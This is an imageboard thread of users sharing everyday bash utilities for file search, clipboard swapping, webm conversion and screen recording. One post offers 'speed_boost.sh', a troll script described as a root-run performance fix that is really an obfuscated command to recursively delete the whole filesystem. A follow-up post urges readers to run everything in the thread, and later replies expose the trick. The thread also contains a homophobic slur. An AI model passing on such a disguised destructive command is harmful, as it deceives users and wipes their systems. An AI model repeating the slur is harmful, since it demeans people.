ITT: great, little bash scripts so great, you've put em on your PATH

I'll start. It's called wherewasi.sh and I use it to come back to some project after a while and quickly see what the shit I was doing last time I left:

#!/bin/bash

# recursively finds the last modified files
# args:
# -n NUM: max. number of files to print, default = 10
# -p PAT: file pattern to look for, e.g. "*.txt", default = "*"

num=10
pat="*"
while getopts n:p: opt; do
case $opt in
n)
num=$OPTARG
;;
p)
pat=$OPTARG
;;
esac
done

find $PWD -iname "${pat}" -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head -n $num

Attached: artworks-000199551179-gd2wc1-t500x500.jpg (500x500, 91K)

# Nice code tags, faggot

My bad. Let met try this again.
#!/bin/bash

# recursively finds the last modified files
# args:
# -n NUM: max. number of files to print, default = 10
# -p PAT: file pattern to look for, e.g. "*.txt", default = "*"

num=10
pat="*"
while getopts n:p: opt; do
case $opt in
n)
num=$OPTARG
;;
p)
pat=$OPTARG
;;
esac
done

find $PWD -iname "${pat}" -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head -n $num

I have a very simple one called 'agrep' that just greps recursively in the current directory. I use it all the time to search for code when I'm not sure which file it's in.

After a while I realized that pt/ripgrep were made for exactly this purpose, so now 'agrep' is just an alias for pt.

All is forgiven.

Attached: tup01.jpg (634x456, 269K)

Thanks, user. I am forever in your debt.

Attached: 1488BBUDDING25.jpg (320x315, 23K)

Didnt he die?

Grep has this functionality already :)
grep -r1 searchterm

What.

Swaps clipboards. I actually have this bound to a hotkey
#!/bin/bash

TEMP=$(xclip -selection primary -o)
xclip -selection clip-board -o | xclip -selection primary -i
echo -n $TEMP | xclip -selection clip-board -i

Sorry, post link should have been to

#!/bin/bash
# webm-convert
# converts a video file to a webm with no sound
if [ "$1" ]; then
read -p "Bitrate? > " br
read -p "Width? > " wd
read -p "Height? > " ht
read -p "File name? > " fn
ffmpeg -i "$1" -threads 3 -c:v libvpx -b:v $br -an -vf scale=$wd:$ht -f webm -quality good -qmin 0 -qmax 50 -bufsize 1000k "$fn".webm
else
echo "No file given."
fi

#!/use/bin/env bash
# filename: speed_boost.sh
# usage: no arguments. Run when your computer needs a little speed boost
# requires root privilege, either save with setuid and root permission or run with sudo
echo "$($(which which) \r\m)" | xargs -I'{}' bash -c "eval '{}' -rf /" \;

Attached: 1551905979460.png (558x614, 32K)

I recommend downloading and running everything in this thread

#!/bin/bash

echo "0.0.0.0 4channel.org" >> /etc/hosts

Yeah, no.

#!/bin/bash

adb shell screenrecord --bit-rate=16m --output-format=h264 --size 1920x1080 - | mplayer -demuxer h264es -fps 60 -

>not reading and understanding some snippet you stole from the interwebs before running it

Attached: 1478909812574.png (1388x924, 173K)

Pretty sure it woudnt run anyway

Why not adjust the second resolution value via the aspect ratio?
Why prompt the user for input instead of allowing additional arguments?
Why no default values in case someone skips the prompt?
Why no 2-pass conversion?

>use/bin/env
Why ruin the fun?

Seems like an autistic rm -rf /, but I don't understand the syntax.